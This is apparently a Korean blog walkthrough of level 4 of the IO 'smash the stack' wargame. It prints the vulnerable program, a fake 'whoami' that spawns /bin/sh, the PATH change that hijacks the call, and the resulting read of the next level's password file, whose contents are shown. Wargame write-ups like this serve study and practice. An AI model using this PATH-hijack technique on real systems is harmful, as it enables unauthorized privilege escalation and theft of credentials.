wargame/IO smash the stack
level4
Sanguine
2014. 5. 27. 17:14
summary: env PATH attack
소스를 보면
level4@io:/levels$ cat level04.c
//writen by bla
#include <stdlib.h>
#include <stdio.h>
int main() {
char username[1024];
FILE* f = popen("whoami","r");
fgets(username, sizeof(username), f);
printf("Welcome %s", username);
return 0;
}
whoami란 프로그램을 popen이란 함수를 통해서 whoami를 실행시키는데, 이것을 이용해 가짜 whoami파일을 만들어서 공략하면 된다.
level4@io:/tmp/sanguine$ cat whoami.c
#include <stdio.h>
int main(){
char *args[]={"/bin/sh",NULL};
execve(args[0],args,NULL);
}
level4@io:/tmp/sanguine$ export PATH=.:$PATH
level4@io:/tmp/sanguine$ /levels/level04
sh-4.2$ cat /home/level5/.pass
Welcome KGpWsju2vDpmxcxlvm